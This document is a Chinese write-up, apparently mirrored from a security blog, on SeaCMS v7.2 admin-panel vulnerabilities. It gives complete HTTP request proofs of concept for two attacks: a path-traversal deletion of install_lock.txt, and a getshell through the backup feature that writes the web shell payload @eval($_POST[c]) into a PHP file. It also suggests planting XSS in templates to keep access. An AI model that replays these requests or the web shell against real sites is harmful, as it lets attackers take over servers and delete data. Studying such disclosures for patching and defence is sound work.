0

Seacmsv7.2任意文件删除&Getshell

 3 years ago
source link: https://y4er.com/post/seacmsv72-anyfile-del-getshell/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
1 min read

Seacmsv7.2任意文件删除&Getshell

2019-01-10

海洋cms是为解决站长核心需求而设计的视频内容管理系统,适用于各大视频站点,支持自定义模板和解析接口,是各大视频站长的不错选择之一。官方版本已经在2019年1月10日更新版本到v8.1,请尽快更新版本。

版本信息查看

http://127.0.0.1/seacms/data/admin/ver.txt

在安装完之后提示我后台地址为http://127.0.0.1/seacms/shwpap,可以看出后缀是随机命名的。 在网站目录搜索重要跟进代码

可以看到有一个randomkeys(6)方法,继续跟进

后台目录是由程序生成的随机6位字符,可以用burp爆破。不过基数过大,不建议。

任意文件删除

seacms/shwpap/admin_template.php

可以看到只允许操作路径前11位是$dirTemplate变量也就是../templets的文件,那么我们可以尝试用../来操作

通过edit可以读文件,但是因为程序中写死了,只能读取html、html、js、css、txt文件,不能读取php文件,实战中我们可以通过编辑模板插入xss维持权限。

我们尝试用del操作,删除install\install_lock.txt文件:

GET /seacms/shwpap/admin_template.php?action=del&filedir=../templets/../install/install_lock.txt HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/seacms/shwpap/admin_template.php?action=custom
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=9vlafp1q6b4cro69qk7bhged06
Connection: close


getshell

可上传类型程序写死,上传文件后缀名白名单写死,sql高级助手执行sql语句双waf,那么真正的突破口出现在备份上

备份完之后备份文件是php后缀,虽然避免了备份文件被下载,但是真正getshell的点也出在这了。

为了请求包简洁,我们只勾选一个表sea_admin,修改包中请求的tablename参数为我们的恶意代码,然后访问备份路径下的config.php文件就可以得到我们的shell了。 poc如下:

POST /seacms/shwpap/ebak/phomebak.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 260
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/seacms/shwpap/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=9vlafp1q6b4cro69qk7bhged06
Connection: close

phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=seacms_2019&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=@eval($_POST[c])&chkall=on&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

注意看路径,以及代码的闭合状况。经过测试,@eval($_POST[c])是刚好可用的payload。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK